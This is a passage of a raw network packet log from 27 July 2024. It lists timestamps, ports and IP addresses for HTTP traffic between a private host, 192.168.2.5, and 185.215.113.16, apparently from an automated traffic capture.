Jul 27, 2024 12:01:21.132297993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132308960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132324934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132333994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132333994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132359982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132371902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132376909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132376909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132383108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132395029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132405996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132414103 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132414103 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132416964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132428885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132440090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132452965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.132457018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132457018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132508039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.132508039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.133256912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.133269072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.133279085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.133291960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.133302927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.133313894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.133336067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.133336067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.133419991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135057926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135070086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135081053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135128021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135128021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135207891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135219097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135229111 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135240078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135262012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135262966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135303020 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135482073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135493040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135503054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135513067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135523081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135559082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135559082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135761976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135771990 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135814905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135863066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135888100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135899067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135910034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135921001 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135926008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135926008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135931969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135948896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135960102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135971069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.135972977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.135972977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.136006117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.136006117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.136169910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.136181116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.136203051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.136214018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.136223078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.136234045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.136234045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.136271000 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.136271000 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.185975075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.185987949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.186014891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.186026096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.186038017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.186048031 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.186048985 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.186131001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.186172962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.186183929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.186193943 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.186229944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.186229944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.210505962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.210530043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.210542917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.210565090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.210568905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.210568905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.210618019 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.210618019 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.210658073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.210669041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.210680008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.210697889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.210712910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211205006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211250067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211273909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211285114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211313009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211321115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211330891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211355925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211355925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211433887 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211483955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211497068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211508036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211513996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211524010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211544037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211544037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211612940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211679935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211690903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211744070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211744070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211793900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211805105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211816072 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211837053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211919069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211950064 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211958885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211968899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.211997986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.211997986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.212179899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212191105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212201118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212210894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212220907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212230921 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212240934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.212240934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.212244034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212254047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212264061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212270021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.212276936 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.212304115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.212304115 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.212338924 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218286037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218319893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218331099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218360901 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218360901 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218432903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218465090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218477964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218488932 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218501091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218523026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218523026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218561888 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218674898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218684912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218694925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218705893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218717098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218720913 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218729973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218741894 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218765974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218765974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218830109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.218965054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218976021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218986988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.218997955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219010115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219016075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219016075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219050884 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219084978 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219204903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219217062 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219227076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219238997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219245911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219249964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219263077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219291925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219291925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219413996 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219485044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219496965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219521046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219532013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219540119 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219540119 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219542980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219553947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219553947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219566107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219578028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219588041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219589949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219589949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219629049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219629049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.219937086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219949961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219960928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219970942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.219991922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.220002890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.220004082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.220002890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.220016956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.220026970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.220046997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.220046997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.220177889 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222232103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222244978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222255945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222300053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222300053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222326994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222338915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222349882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222389936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222389936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222517967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222529888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222539902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222552061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222563982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222573042 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222573042 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222574949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222606897 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222621918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222748995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222759962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222810030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222810030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222887993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222898960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222924948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222935915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222942114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222942114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222951889 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222963095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222973108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222975969 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222975969 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.222984076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.222994089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.223005056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.223009109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.223009109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.223016977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.223027945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.223036051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.223040104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.223067045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.223067045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.223258018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.223412991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.223454952 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.273094893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.273140907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.273175955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.273190022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.273194075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.273245096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.273279905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.273289919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.273289919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.273313046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.273349047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.273355961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.273355961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.273384094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.273430109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.273430109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298388004 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298441887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298450947 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298475981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298480988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298544884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298578024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298593998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298593998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298612118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298630953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298645020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298680067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298686028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298686028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298748970 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298759937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298793077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298815012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298827887 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298832893 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298923016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.298940897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.298974991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299009085 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299009085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299036026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299037933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299052000 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299072027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299104929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299113035 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299113035 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299137115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299179077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299179077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299273014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299304962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299339056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299349070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299349070 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299371958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299405098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:21.299412966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:21.299412966 CEST	49705	80	192.168.2.5	185.215.113.16
